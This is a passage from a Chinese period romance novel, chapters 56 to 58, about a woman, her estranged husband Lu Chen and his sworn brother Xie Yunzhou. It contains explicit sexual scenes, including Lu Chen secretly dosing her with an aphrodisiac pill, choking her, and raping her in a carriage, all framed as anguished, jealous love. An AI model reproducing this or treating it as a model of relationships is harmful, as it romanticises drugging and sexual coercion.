全然不曾想到他竟能说出这等下流话来,折柔浑身一颤,难以置信地睁大了眸子,怒从心起,扬手狠狠扇去一记耳光,明明是恨声又忍不住哭腔:“你混账!无耻!” 舌尖抵了抵发麻的颊侧,陆谌一把反剪住她的双手,冷笑中带了几分狠戾,“当年你我的洞房花烛不曾教他听过,如今想来,倒是一桩憾事。” 第56章 丸药 折柔心中又恨又痛,使尽全身的力气胡乱挣扎,抬腿踢踹一气,“你放开我!” 陆谌全然不为所动,与她十指相扣,将她的手死死按在床上,低头去寻她的唇瓣,流连缠吻。 折柔狠狠咬住他的唇,有血气蔓延出来,唇齿间一片腥甜,他却似浑然不觉痛意,抬手掐起她的脸颊,用舌尖渡过去了什么东西,迫着她含下。 黄豆大小的一颗冰凉圆粒,转眼在唇齿间化开,只留下淡淡的香气,甘咸中又夹杂着一点涩味。 折柔心下微惊,隐约觉得不对,虽然混乱中辨不全药性,但其中应当是掺了肉苁蓉和龙血竭。 似是看出她的心疑,陆谌吻了吻她的面颊,低声道:“让你快活些,免得受罪。” 反应过来他说的是什么,折柔一瞬气白了脸,“下作!混账!” 陆谌丝毫不以为意,欺身压下。 折柔死死咬住嘴唇,看着眼前那张熟悉至极的脸庞,只觉心上好像忽然间凝满了尖锐的冰碴,随着心跳流往四肢百骸,所过之处都泛起细密刺骨的冷痛。 她分毫不想在陆谌面前示弱,可眼中却不受控地浮起水雾,声音也止不住地发颤,“陆秉言……你又要像从前那样强迫于我?你总是这般欺辱我……” 说到最后,隐隐泄出一丝哽咽。 听出她声音里强自压抑的委屈和痛楚,陆谌心口猛地一紧,像被一柄钝刀狠狠锉进肺腑。 抬头,撞上一双盈满泪意的秀眸,眼中有怒,有恨,更藏着伤心。 本不该是这样。 四目相对的刹那,折柔猛地别过脸去,可眼尾的那滴泪终究是没能藏住,无声地坠了下来。 她还是和从前一样,倔强隐忍的性子,哪怕难过到了极处,也竭力压抑着,不肯让自己哭出声来。 脑中忽然不受控地浮现起宿州的那一晚,他惊怒交集,理智被烧干,行事彻底失了分寸。 想起后来她团伏在自己怀中,哭得无声无息,热烫的泪水仿佛要灼穿皮肉,在心头烫出一个血淋淋的窟窿。 陆谌身形彻底顿住,沉默地看了她半晌,终于慢慢坐起身来。 谢云舟在外等得心急如焚。 他知道她与陆谌之间渊源纠葛太深,她许是也有话要和陆谌讲,本想耐着性子在院中等他们谈完,可等了半晌,却隐隐觉得屋里的动静越听越不对劲,终是再也按捺不住,朝屋中闯去。 南衡眼神一变,上前拦住他的去路。 谢云舟额角青筋突突急跳,咬牙怒道:“滚开。” 南衡死死定在原地。 谢云舟冷笑一声,二话不说,直接动了手。 他毕竟身份不同,南衡等人不敢对他下死手,很快便教他寻了破绽,闪身越过拦阻的护卫,一脚踹开木门,径直闯进了屋内。 听闻身后的声响,陆谌拧了拧眉,长臂倏地一探,一把扯过榻边的大氅,将折柔严严实实地围裹起来。 不及他直腰起身,谢云舟已经疾冲进来,匆匆扫了一眼室内情形,恨得骂了声粗话,一把抓起陆谌背上衣衫,提拳狠狠挥向他的面颊,“陆秉言你个畜生!” 陆谌却反应极快,猛地挣脱开来,抬臂格住了这一拳,又顺势捉住他的手腕,反手用力一拧。 这一招下了狠手,没有半分犹豫留情,谢云舟只觉腕间陡然一阵剧痛,似是骨节错了位,他脸色唰地一白,冷汗涔涔而下。 折柔从震惊中回过神来,失声惊呼:“鸣岐!” 那两个字如同烧红的钢针,狠狠刺入耳膜,陆谌动作猛然一滞。 谢云舟趁机挣脱开他的桎梏,一记重拳毫不留情地砸在他腹间,陆谌恍惚间不及防备,结结实实吃了这一拳,登时半边身子都失了力气,腿上忽地一软,左膝重重跪到地上。 旧日的箭伤猝然被牵动,像是被人生生撕裂了已经愈合的筋骨,将带着倒钩的铁簇从骨缝间重新拔出,陆谌疼到了极处,喉间溢出一声压抑的闷哼。 可自始至终,她都没有像方才唤谢云舟那样,叫一声他的名字。 从前她最是心疼他的膝伤。 仿佛被人当胸刺了一剑,剜剐去一大块血肉,空落落的闷痛蔓延向四肢百骸,疼得他直不起腰,连膝上的旧伤都已浑然不觉。 谢云舟满心牵挂着折柔,没有心思和陆谌多作纠缠,趁机便要往里冲,却不想又被他从后扣住肩头,一把扯了回来。 两个人自幼在一处习武,师从同一个禁军教头,互相切磋较量,对彼此的招式习惯再熟悉不过,厮打拆挡起来难分上下,很快便泄愤般斗成一团。 折柔蜷伏在榻上,只觉身上一阵一阵地烧热起来,周身说不出的酥痒难过,耳边嗡嗡作响,手脚越发绵软,使不出力气,偏又忍不住轻拢起双腿,低低地喘息。 药性已然发作,再耽搁下去不是办法,听着不远处陆谌和谢云舟还在发狠缠斗,折柔咬了咬牙,探手摸向榻边,寻到方才争执间打碎的茶盏碎片,暗暗攥回到手中。 陆谌早已和谢云舟打红了眼,全然不曾注意到她这边的动静。 半晌,陆谌终于寻住破绽,一把将谢云舟掼在地上,手臂狠狠抵住他脖颈,呼吸急沉,声音冷戾得渗人:“谢鸣岐,你给我听好了。妱妱是我的妻,你若再敢觊觎她半分,休怪我要你性命。” “爷还怕你不成?” 谢云舟怒极反笑,丝毫不肯示弱,随手抄起地上的包铁门闩,猛地朝他头上砸了下去。 陆谌眸光一沉,正要招架格挡,却忽然听见榻上传来一声似是压抑着痛苦的哽咽,他心下一惊,本能地转头看过去,就见折柔不知出了何事,微微蜷缩起了身子,眉心紧蹙着,唇边竟渗出血来。 陆谌脸色猛地一变,“妱妱!” 迟滞了这半拍,头上砰地传来一声闷响,木门闩狠狠劈落在他额角上,边缘包覆的锋锐铁皮刮破皮肉,温热的液体霎时涌流而出,小溪一般顺着眉骨蜿蜒淌下,顷刻间糊住了视线。 陆谌眼前一黑,脑中阵阵晕眩嗡鸣,却也顾不得伤势,咬牙挣扎起身,踉跄着朝折柔奔过去,却不想谢云舟也发觉了异样,抢先一步冲到了榻边,将人抱进怀里,急得红了眼。 “九娘!你哪里不好?” 折柔紧紧抓住他的衣袖,苍白着脸,声音低哑:“我没事……带我走……” 谢云舟咬了咬牙,竭力将声音放得平稳,低低应好,“我这就带你走,别怕。”说着,将她死死揽抱在怀中,用大氅护住了头脸,没有分毫停滞,一个箭步冲向窗边,纵身一跃而出。 谢云舟特意寻的后窗,南衡等人守在屋前,一时追赶不及。 趁着拼出的这半分空隙,他狠狠抱紧了人,疾步奔向马厩,扯过马匹翻身而上,马蹄踏碎一地白霜,硬生生闯出一条路来。 疾驰奔出后巷,谢云舟将人往怀里紧了紧,颤声问:“九娘,你如何了?哪里疼?忍一忍,我这便送你去医馆。” 折柔闭目蜷缩在大氅里,吃力地摇了摇头。 方才只是用碎瓷划破了掌心,装作咳血,引得陆谌分神,并无大碍。 但这肉苁蓉的药性得尽快处置。 她低低地喘息,勉强压抑着喉咙里的呻吟,“去药坊……抓些铜钱草,桑叶和决明子……一道煎水。” 她声音涩哑得不像话,呼吸绵绵细软,如云絮般扑落在他颈间,带着不正常的灼热,甚至烫得惊人。 谢云舟浑身一僵,霎时明白了什么。 脑中轰然炸开一片空白,他后背猛地沁出一层冷汗,攥着缰绳的手青筋暴起,骨节用力得泛白。 心疼与怒意交织着涌上来,几乎要冲破胸腔,一时不知要如何是好,又忍不住怒骂陆谌就是个畜生。 谢云舟忙点头应下,寻到最近的药坊匆匆抓了药,随后片刻不停,直接带着她策马出了城。 一路过来,折柔身上难受,尽管勉力强忍,还是抑制不住微微发颤,本能地向身后人的胸膛贴靠。 怀里温软的感觉太过分明,谢云舟只觉得后背不断涌起热汗,里衣早已湿透,黏腻地贴在身上,被夜风激起一层又一层细密的战栗。 他死死咬住牙关,额角青筋暴起,难受得快要发疯时,终于在茫茫夜色中寻到之前途经的那处官驿。 此间官驿废置已久,僻静稳妥,驿中平日里无人入住,只有一个年迈的铺兵在此留守看护,权当养老度日。 谢云舟给他看过鱼符,抱着人匆匆入了内。 腊月深冬,气候冷寒,这屋子未曾来得及收拾,只草草换了套干净被褥,燃起一个炭盆,床榻触手一片冷意,不过眼下倒正是合用。 谢云舟小心地将折柔放上去,给她擦了擦鬓边浮汗,不敢有分毫停留,转身便奔出去煎药。 折柔发烫的身子紧紧贴在泛凉的床铺上,被熨帖得极是舒服。 陆谌喂她吃的那颗丸药大抵只是用来稍作助兴,药性不算太烈,这一路被冷风激过,她神志早已清明了大半,只是还空乏得难受。 身上越是不痛快,心中便越觉屈辱难堪,委屈、伤心、怨愤混杂着酸楚齐齐翻涌上来,如潮水般将她彻底淹没。 指节恨恨地攥紧了身下被衾,用力到泛白,下唇也被咬得隐隐沁出血丝。 “九娘,来。” 谢云舟很快端着药碗回来,吹温了,喂她慢慢喝下。 额角青筋突突急跳,他低哑着嗓音,艰涩出声:“喝了药就好了……别怕……别怕。” 渴盼经年的温香软玉就这般团伏在怀里,他早已要煎熬不住,这话也不知是对她说,还是对自己说。 药汁的苦涩在舌尖蔓延开,像是要一路苦到心里去。 折柔痛苦地闭了闭眼,喉间溢出一声几不可闻的轻喘。 脑海中又浮现出那双熟悉又偏执的沉沉黑眸。 眼眶蓦地涌起一阵酸热。 仿佛被什么攥紧了胸口,她感觉心里疼得喘不过气来,心脏像是沉入了什么深渊,空茫茫地往下坠,往下坠,怎么也触不到底。 他总是这般欺侮她。 明明从前的一切都已经过去了,不是么? 凭什么她是他的? 凭什么只要他一个? 不,她谁的都不是,她是她自己。 往后前路如何,没人能逼她低头,她要自己选。 这个念头渐渐浮现出来,心尖仿佛蓦地腾起来一簇火苗,摇曳蓬勃,隐有燎原之势。 说不清是残存的药性折磨作祟,还是积压已久的怨怼不甘,亦或是心底那丝难以言明的悸动欢喜,又或许什么都有,混杂成一团,朦胧中辨不分明。 见谢云舟放下药碗,转身就要走,折柔轻喘了两口气,纤瘦的指尖微微颤抖着,勾住了他的衣袖。 “……别走。” 第57章 撞破 谢云舟动作猛地一僵,喉结艰难地滚动了两下,“……九娘,我……” 鼻息间都是她柔软温暖的杏花香,他不成,再留下去当真要被熬疯了。 折柔却坚持着,不肯松手。 谢云舟心头猛地一阵急跳,好半晌,他张了张嘴,艰涩出声,“……药性很难受?” 折柔轻轻地点了点头,攥着他衣袖的指尖缓缓下滑,触到他清瘦有力的手掌,一点点穿过指缝,与他十指交握。 谢云舟脑中嗡地一声。 他明白她的意思。 却又不敢去信。 他当然渴,渴得都快要疯了,只能反复拼命告诫自己,药性催使,算不得自愿,她是一时糊涂,他又岂能做此等趁人之危之事。 尤其,那个人还是她。他怎么舍得轻慢? 折柔眉心蹙起,低低地喘息,“鸣岐……” 那声音简直,谢云舟喉结剧烈地滚动着,脑中那根理智的弦几欲彻底崩断,勉强撑住最后一丝清明,涩声问:“九娘……你当真……想要?” 折柔抬眸看着他,淡淡地笑了下,唇角微微弯起,哑声道:“不是说送上门的便宜……不吃白不吃么……” 谢云舟呼吸一滞。 他再也压抑不住。 半晌,他慢慢低下头,试探着,去吻她的唇。 动作极慢、极慢,留足了退避的余地,她若有半分不愿,立时便能停下。 可她没躲。 唇齿相触的瞬间,柔软与炽热交织,谢云舟浑身猛地一颤,似有簇烈火自尾椎直窜而上,激得他浑身战栗,头皮阵阵发麻。 再无半分理智,谢云舟喉间溢出一声压抑的低喘,整个人覆身而下,将她狠狠抱入怀中。 折柔闭上眼,细细喘息。 谢云舟单臂撑在她上方,一手轻轻抚着她的面颊,珍而重之地,落下一串热烫的细吻。 和陆谌的强悍蛮横全然不同,他动作温柔,生涩,又带着几分小心翼翼。 其实刚刚成亲那时候,陆谌也是极生涩的,甚至显出几分笨拙,却又想尽法子取悦撩拨。 直到后来,轻而易举便能惹得她轻颤低吟,他似是很得意,咬着她细嫩的耳垂,一声声唤着“妱妱”,同她缠眷到天明。 ——妱妱。 折柔眼中忽然漫上泪意。 谢云舟倏地一顿。 察觉到突如其来的停顿,折柔微微睁开半阖的秀眸,迷蒙着抬眼看过去。 谢云舟定定地凝视着她,俊朗的眉眼被热汗浸湿,眸光压抑隐忍,隐有迟疑,“……九娘。” 他撑起手臂,意欲起身。 折柔却突然抬起胳膊,轻轻环抱住他劲瘦的背脊。 那双纤纤素手按在他的后心上,明明力道轻柔,却似有千钧之重,压得他退无可退。 仿佛被她捕获的猎物。 谢云舟早已忍得濒临崩溃,此刻得了她这般允准鼓励,再也按捺不住,低头吻了吻她湿润的睫毛,嗓音沙哑,“让我娶你,成么?” 折柔撞进他灼灼的目光里,那双眼太亮太烫,烫得她心尖发颤,胸口好似被什么轻攥了一下,呼吸为之一滞。 一切都过去了啊。 她要往前走。 无论是谁,都不能迫她低头。 好半晌,她闭了闭眼,听见自己极轻极轻的声音。 “好。” 心头仿佛,谢云舟喉结剧烈滚动,再也忍耐不住,猛地俯身吻了下来,呼吸滚烫交缠,一寸一寸,慢慢侵占。 青年的背肌削薄劲实,紧绷出一道道凌厉的线条,随着动作起伏贲张,热烫的碎吻落下来,顺着脖颈游移而下,时轻时重地啄吻舔咬。 渐渐寻到了趣味,折柔忍不住向后仰起纤长的脖颈,喉间溢出一声声细碎的呜咽。 窗外风雪渐紧,朔风怒号,雪沫子噼啪着拍打向窗棂,屋内却渐渐蒸腾起潮热的气息,暖意融融如春。 一夜春浓好眠。 次日一早,折柔还未睡醒,屋外忽然有人敲门,声音隐隐透着不耐,莫名叫人心惊。 这是一处废弃官驿,没有旁人入住,老铺兵自然也不会过来搅扰,会是何人? 谢云舟拧了拧眉,起身草草拢了件里衣,下榻穿靴。 走到门前,伸手拉开木门,寒风裹着雪沫呼啸卷了进来,他下意识抬眼,一瞬和廊下的陆谌四目相撞。 谢云舟猛地一怔。 空气仿佛骤然凝固。 冷冷对视片刻,陆谌先开了口,声音沉哑得不成样子,缠裹着风雪的寒意,“妱妱呢?” 谢云舟回过神来,扬唇笑了笑,长臂一探拦在门前,“她不想见你。” 陆谌再未作声,转而沉默地扫视向屋内,目光如寒刀,一寸寸凌迟过每个角落—— 从地上燃尽的炭盆,桌上的两只用过的茶盏,到屏风后凌乱的床榻一角,再到谢云舟半敞的衣襟,最后落在他颈间那道刺目的红痕上。 陆谌的眼神陡然变厉。 没有分毫迟滞,他拔步便往屋里闯,谢云舟眸色一寒,一个箭步横挡在前,硬生生截住他的去路。 陆谌冷冷地看着他,“她在里面。” 谢云舟瞪了回去,怒声道:“我说了,她不想见你!” 两个青年男人胸膛相抵,呼吸急促,如同两头蓄力搏斗的雄兽,死死盯着彼此,僵持不下。 陆谌眉眼一沉,猝然扯过谢云舟昨夜伤过的右腕,狠狠一拧,只听咔拉一声,谢云舟脸色唰地一白。 趁他吃痛失力,陆谌猛地将人推开,径直闯进了客舍。 谢云舟咬牙怒骂一声,趔趄着追了上去。 此处驿站极是简陋,屋内不过方寸,陆谌两三步便绕过了屏风,却又在看清里间情形的刹那,如遭雷击般生生钉在原地。 他追查了整整一夜,心内如同油煎火烧,恨不能将岷州这地界一寸寸翻过来。 脑中闪过千百种可能,却万万不曾料到,他一夜未眠疾驰赶来驿舍,见到的竟会是这副情形。 听见门口的响动,折柔已经匆匆穿好了衣衫,却还未来得及梳发,乌黑浓密的长发披散如瀑,懒懒堆叠在颈间,眉眼间春情倦怠,盈盈如水。 四目相对。 半晌,视线缓缓下移。 也说不清来由,折柔心头蓦地一紧,几乎是出自本能地,抬手拢了拢衣襟,却仍是未能掩住雪颈上的一点刺目嫣红。 仿佛烧红的烙铁,狠狠烙入眼底,瞬间灼出刺烫的鲜血来。 胸腔陡然传来被挤压的窒痛,血脉里有什么东西一瞬炸开,陆谌身形晃了一晃,膝盖几要支撑不住。 原以为那夜她下药出逃已经是痛极,万万不曾想到,还有如今这一日。 万箭穿心。 剔骨剜肉。 这客舍里的桌椅摆设,连同呼吸间的空气,都化作钝刀,一刀一刀,凌迟着他的血肉,血管炸裂开,看不见的鲜血自内里汩汩涌出。 仿佛三魂七魄被生生扯出躯壳,四肢百骸传来剧烈的疼痛,疼得他眼前发黑,几乎要跪倒在地。 陆谌眼底瞬间漫上猩红,好半晌,他极慢、极慢地转过身,死死盯着数步之外的谢云舟,喉间滚着腥甜,一字一字浸透了血气,从牙关里硬生生碾出,“解释。” 谢云舟咬牙道:“如你所见,又何需解释?” 当真怒到极致,反而绷成一线骇人的平静,陆谌的声音又沉又缓,“你碰她了?” 谢云舟闻言拧了拧眉,没有立时作答。 他不愿用那样的字词。 只觉是对她的轻慢。 陆谌指骨攥得泛青发白,额头青筋狰狞暴起,“她药性发作……你便乘人之危,嗯?” 谢云舟猛地变了脸色,“陆秉言,你是混账我不是!” 陆谌再没有分毫犹豫,一把抽出腰刀,狠狠抵上他的喉咙,目色赤红如血,咬紧了牙,厉声怒吼:“她是我妻……谢鸣岐,她是我妻!你竟敢碰她?!” 刀刃锋锐,入肉三分,一瞬便淌出血来。 他是真的想杀了他。 折柔心头大骇,疾扑上前,死死攥住陆谌握刀的右手,“陆秉言你疯了么?他是鸣岐啊,你放手!” 陆谌骤然转过头,恶狠狠地盯着她,“妱妱,你要护着他?” 折柔心头狠狠一震,她从未见过陆谌这副模样,眼中血丝密布,狰狞如凶煞修罗,哪里还有从前半分清雅模样。 她身子不住发颤,却强抑住心头惧意,咬牙去掰他握刀的手指。 陆谌一动不动地看着她。 谢云舟趁机一个扭身,猛地从刀下挣脱出来,一把将折柔扯到身后,冷冷瞪向陆谌,怒声斥骂:“她早就拿了你的休书,和你一刀两断了!是你偏要做畜生,伤她、迫她、辱她,是你对她不起!” “陆谌你听清楚了,我与她之间,并非是我碰了她,而是凡她所求,我都会拱手奉上。” “包括我。” “她要你?”心脏已经被冰锥一寸寸凿穿,陆谌咬牙撑过那一阵痉挛的剧痛,强扯出个森冷笑意,木然开口:“她不过是要报复我!” 谢云舟骤然僵住,指节攥得咯咯作响,一时却又无从反击。 他有自知之明。 她如今待自己虽有几分情意,却远未到情深不渝的地步,若非陆谌步步紧逼,她或许还要迟疑数月,甚至经年,才会这般全然接纳他。 “不是!” 折柔忽然开口。 听见声响,陆谌僵硬着脖颈,缓缓扭头看过去,仿佛动一下,便要耗尽全身力气。 她声音很轻,却清晰入耳。 “陆秉言,我并非要报复你,只是想彻底斩断这段因果,和心悦之人去过安稳的日子。” 陆谌身形猛然一滞,如同被一道滚雷击中,整个人如泥塑木雕般僵立当场。 好半晌,他缓缓眯起眼睛,喉结上下滚动,嗓音沉哑得像被砂石中磨碾过,“……你再说一遍。” 即使已经竭力压抑,那声音里仍是隐隐泄出一丝颤抖,不知是在怒,还是在惧。 折柔迎上他的目光,眼眸清澈如水,语气平静至极:“陆秉言,我心悦他。” 像是被人当头重重一棒,一阵尖锐的嗡鸣陡然刺穿耳膜,在脑中轰轰作响。 她说什么呢? 他怕不是听错了。 心脏像是被人蛮狠地攥住,五脏六腑拧绞成成一团。陆谌死死咬紧牙关,将那口已经冲到喉头的腥甜压下去,如同硬生生吞下一块烧热的火炭,灼痛自喉头一路烧至肺腑。 可血气翻腾如沸,任他如何强压,仍有一线猩红从唇角溢了出来,在苍白的下颌上格外刺目。 那是他的妱妱,他的妱妱啊! 原本只属于他一个人的妱妱! 疼么? 早已疼得不知该如何是好,疼到浑身都僵硬麻木,恍惚不知身在何处。 腔子里的那颗东西为什么还在跳?早该被扯出来,撕烂了,教她亲手碾碎成齑粉。 陆谌冷眼看着这情形,心里惊痛恨怒到了极处,浑身的血一寸寸冷下去,唇边却不受控地牵起笑意。 半晌,他终于发出了沉闷的笑声,继而越笑越大声,最后笑得额角青筋狰狞暴起,连肩膀都剧烈地颤抖起来。 笑着笑着,他猛地仰起头来,那双布满血丝的眼睛里,竟有一瞬水光浮动,却又在眨眼间消隐无踪,快得让人疑是错觉。 “我生死相托的兄弟,与我的发妻,你们两情相悦……我搅扰了你们一对野鸳鸯,是不是?” 谢云舟咬紧了牙,浑身紧绷着,心头滋味一时错杂难言。 “好。很好。” 陆谌低低地笑了两声,缓缓抬起头,木然地抹去唇角血痕,扬手一招。 门外骤然响起一阵甲胄摩擦的铿锵之声,一队铠甲鲜明的禁卫撞破屋门,潮水般哗啦啦地涌了进来,森冷铁甲遮住半片天光。 陆谌的神色沉静下来,再也看不出一丝波澜起伏。 “拿下。” 第58章 强逼 那队兵卒锦衣鲜明,身形健悍,谢云舟一眼便认出,是皇城司的精锐。 谢云舟冷冷扫视一周,不由扯唇凉笑了一声,“成啊陆秉言,真有你的。” 陆谌面无表情地看着他,“冯綦就在院外等着,今日带你回京认父。” 折柔闻言一惊,指尖不自觉地掐入掌心,“你一早便让皇城司的人知晓了?” 陆谌冷冷地看向她:“不错。” “为什么?!” “父子相认,本就是天理伦常,何错之有?” 折柔看着他,声音发颤,“你明知……明知他根本不愿……” 她话未说完,被陆谌猛地厉声喝断,“那又如何?!” “是他背叛我们兄弟情分在先,他要把你从我身边抢走!所以我才设计报复,怎么了?” 对上那一双含泪的眼眸,陆谌咬了咬牙,半晌,强压着怒意解释:“我虽一早便知会了冯綦,但从未透露全部实情,若非是他谢鸣岐昨夜自己找死,我断不会逼他至此。” 谢云舟暗自攥紧了拳。 眼见一人难敌众多精锐,只怕他今日已不能脱身。 可九娘要怎么办。 谢云舟咬了咬牙,抬眼看向陆谌,一字一句道:“陆秉言,你我兄弟多年,今日算我对你不起,要杀要剐悉听尊便。” 停顿一霎,喉结滚了滚,艰涩道:“只要……只要你别再为难她。” 陆谌眸光陡然一沉。 不及示意,数名精锐已经猱身扑上,谢云舟只能仓促应敌,寒光交错间,到底是双拳难敌四手,一个闪避不及,左臂被刀刃划破,渗出血来。 他原本不以为意,却不想皇城司的人在刀上抹了麻药,半边身子登时一软,脚下猛地一个趔趄。 这药性甚是蛮狠,谢云舟咬牙强撑片刻,便再也招架不住,只来得及回头看了折柔一眼,便昏晕着扑倒在地,又被几个兵卒架起,绑上绳索。 折柔心头一紧,猛烈地挣扎起来,“陆谌,叫他们住手!” 陆谌无动于衷地看着她,黑眸沉沉,看不出半分情绪,“妱妱,你心疼?” 折柔嘴唇颤了颤,将要开口,却被陆谌忽然打断:“你再多说一个字,我今日让他谢鸣岐横着出岷州。” “左右他不愿同官家相认,如此也算成全了他。” 他如今恨怒到了极致,既然说得出,只怕是当真做得到。 折柔心头猛地一颤,声音止不住地发抖,“陆秉言,你别发疯,别逼我恨你……” 陆谌闻言僵凝一霎,突然扳过她的脸颊,微微眯起眼睛,“你是要为了他,恨我?” 折柔被逼着仰起脸,不敢再激怒他,只能咬牙强忍,眼眶渐渐蓄满泪意,偏又倔强地不肯在他面前示弱。 对视了半晌,陆谌忽而自嘲地扯了扯唇,凉凉道:“那便恨罢。” 哪怕是恨,也比从此全不在意的要好。 眼见谢云舟已经昏晕过去,由皇城司的人带走,陆谌也不再耽搁,随手扯过披风,一把将折柔裹住,打横抱起,往门外走去。 “陆谌!你放开我!” 折柔一瞬白了脸,发了狠地厮打挣扎,攀住他的胳膊,张口狠狠咬住他的脖颈,齿间用了全力,很快漫开腥甜的铁锈味。 陆谌似是已经觉不出痛意,只冷冷地看着她,任由她捶打撕咬。 那双冰寒凛冽的沉沉黑眸,像是要将她从里到外都冷凝成冰。 马车早已停在院外。 陆谌几步跨入车厢,一把将她扔到厚厚的软垫上。 磕撞得虽不算疼,眼前却也一阵发晕,折柔还不及撑起身子,陆谌便已然欺身压下,单手扯开她的衣襟,仿似自虐一般,凝目看去。 马车里炭火烧得正旺,可肌肤骤然露出来,仍是能感觉到细微的凉意。 折柔顿时一僵,羞耻的感觉如潮水般席卷而来,直要逼得她快要窒息。 她本能地想要闪躲挣脱,却被压制得动弹不得,只能徒劳地攥紧身下的锦垫,指节都泛了白。 入目尽是刺眼的红痕,陆谌只觉心头恨怒一阵阵地高涨起来,也不知是在讥讽她,还是在剜自己的心,说出口的话一句比一句恶毒。 “挣什么?怕被鸣岐知晓?你这是要为他守身不成?” 折柔难以置信地睁大了眸子,眼中颤颤溢出泪来。 “啪”地一声。 陆谌猛地偏了偏头,脸上被她的指甲划出一道血痕。 折柔气得哆嗦,再也压不住喉头哽咽,“陆谌你个疯子!” 她只觉一颗心狠狠地坠下去,沉沉触不到底。 她是真心想同谢云舟在一处,也是真心想要离开从前那片伤心地,去过安稳的日子。 过去的都已经过去了! 为何他偏偏就是不肯放过她? 折柔强忍住泪意,也不知从何处生出力气,拼命推开一丝空隙,挣扎着想要下车,陆谌却反应极快,迅疾伸手拽住了她,大力地将人拖回了怀中。 他单手钳住她的手腕,交叠着压在胸前,低头迅速而蛮狠地攫住她的唇瓣,吮咬碾磨。 慌张和惊愤交织,折柔越发激烈地挣扎起来,扭动着身子厮打踢踹,抬脚踹向他的膝盖,含混着怒斥:“陆谌,放手!放开!” 陆谌丝毫不为所动,反倒是越发用力地缠紧了她,压制得她毫无还手之力。 抬手将人按在身下,只见那双熟悉至极的秀眸里盈满泪水,尽是恨怒。 眼前这双含恨带怨的眸子渐渐与昨夜委屈伤心的模样重叠,陆谌心头蓦地一刺,越看,便越觉得昨晚的心软就像个笑话。 她偏就如此狠心。 陆谌已然紧绷到了极处,额角青筋鼓跳着,一手制住她交叠的双腕,一手虚拢住那截纤颈,削瘦的长指一点点收紧。 “你我拜了天地,立了婚书,我是你的郎君,不准抗拒我。” 折柔被迫仰起头,却也不肯示弱,恨声呜咽,“不是!不是……唔!” 陆谌听不得她这般反驳推拒,猛地俯身堵住那两片柔软唇瓣,也不再如从前那般耐心撩拨,喘息交缠间,极慢、极慢地,寸寸侵入。 仿佛一把刃,要将她彻底剖开,看一看她的心到底是怎生变得如此,看一看她怎就舍得如此待他。 脖颈间的窒息和身体的胀涩一齐上涌,如潮水般将她淹没,茫茫中只觉车厢外的声响愈发清晰入耳,折柔不自觉地掐紧了掌心,指节用力到泛白。 被她全然缠绞住的刹那,久违而又熟悉的酥麻席卷而来,陆谌脑中猛地空白一瞬,喉间不受控地溢出一声沉哑的低喘。 恍惚间生出一丝错觉,先前种种不过是一场梦,其实什么都不曾发生过。 可那截雪颈上刺目的红痕,偏在此刻映入眼帘,犹如一盆冰水当头浇下,一瞬又教他生生清醒过来,眼前猛然一阵眩晕。 像是被千万根冰针刺入骨髓,寒意蚀骨穿心,疼得他神魂俱震,只觉恨不能立时死了,总好过眼睁睁受这一场剜心酷刑。 他太清楚她的性子,她既愿同旁人成事燕好,虽有几分是出自怨恼他的缘故,但究其根本,是因为她本心就接纳了那人。 就算没有他催逼这一遭,她大抵也很快会同谢云舟定下名分,左不过是时日早晚,数月还是半载的区别罢了。 越想,心脏越是一阵阵难捱的剧痛,几乎要教人失了力,疼得狠狠弯下腰去。 陆谌猛地将她翻转过来,提起那截细软的腰肢,将她推摁在厢壁上,又从后扣住她的五指,死死抵按。 从前情浓之时,她也曾喜欢这般同他缠眷,可如今这熟悉的姿势,却只让她觉得无比屈辱。 她忍不住低声呜咽,挣扎起来不肯依从,发髻散乱了,雪白的背脊上沁出一层细汗,“陆秉言,你不能这般对我……” 偏偏身后郎心如铁,清瘦有力的手掌按住那对伶仃纤弱的蝴蝶骨,不容分说地迫着她弯下腰去。 车厢外卷起风雪,缠裹着车内的细碎声响,拍打着车窗,又一圈圈向外荡开。 马车不知何时行起来,突然遇上颠簸,他骤然用了力,顶撞上一处。 折柔猝不及防,低低发出一声惊喘。 察觉到那一处缠绞,陆谌俯身覆了下来,吮咬着她的耳垂,滚热呼吸烫灼着她的后颈,恨声逼问:“他可曾到过你这里,嗯?” 从前何曾听过这等荤话,折柔迟滞了片刻才反应过来,顿时被他这般折辱激得浑身发抖,猛地挣动起来,“陆谌你……你混账!无耻!” 滚热的泪水夺眶而出,她发了狠地去掐他臂腕,指甲深深地陷进皮肉里,硬生生划出几道血痕。 偏偏挣动间又露出那抹嫣红,陆谌只觉心脏仿佛要爆裂开来,有什么在血脉里左冲右突,欲要破胸而出。 他突然俯身下去,齿尖狠狠碾过那处吻痕,力道重得几乎要咬出血来。 尖锐的痛楚猝不及防,折柔疼得仰颈瑟缩了一下,背脊无意识地向上挺起,陆谌顿时被绞缠得后心一麻。 他急促地低喘了两声,抵过那阵蚀骨的快意,齿间反倒更添了三分狠劲。 从前不舍,可如今他就是要她疼,要她死死记住这疼,往后再也不能忘记、不敢忘记。 折柔疼得低声呜咽起来,指甲深深掐入他的皮肉,尾音隐隐发颤,“放开我……” 看见她的眼泪一颗颗无声坠落下来,陆谌喉结微滚了滚,不自觉地松开齿关,伸手去给她擦泪。 折柔却偏头躲了过去,不肯教他碰触,反倒是张口咬住了他递来的指节,恨极用力,一瞬便见了血。 她心中难过,陆谌又何尝痛快?只任由着她狠咬泄愤,心脏一阵阵痉挛缩紧,疼得他几要喘不过气来。 马车辚辚而行,两个人汗津津地纠缠在一处,不像是行欢,反倒像是一场互相折磨的撕打搏斗。 车外风声渐紧,一阵阵,急促地叩响窗棂。 陆谌下颌紧绷,眸中暗色翻涌,动作间带着股狠厉的执拗,像是要将旁人留下的痕迹尽数抹去,要让她的骨血里都浸透他的气息,要将她里里外外都重新占有,从此往后只属于他一个人,再不能教旁人染指半分。 折腾到最后,折柔已经昏昏沉沉,不知何时收场。 朦胧中只觉被裹进一片厚重的温暖里,连同头脸都一道遮住,有人将她打横抱起,颠簸着似乎下了马车,很快又落入锦衾之间。 恍恍惚惚中,似有一线湿热自身后流入颈窝。 温度灼人,顺着锁骨往下淌,仿佛要一路淌到心里去,烫得她心头一颤,忍不住微微蜷缩起身子,在裘绒中轻轻哽咽。 陆谌喉结滚了滚,抬手拂去她颊边的泪珠,坐在榻边沉默地看了半晌,转身走去浴室。 他的妱妱是铁了心,此生不愿再回头。 为什么? 为何如此? 他无论如何也不明白,他们怎么就会走到今日这般地步。 忍不住想要惩罚她,又忍不住深深自厌。 心脏传来一阵阵挤压般的剧痛,陆谌闭了闭眼,喉结艰难地上下滚动。 疼。 太疼了。 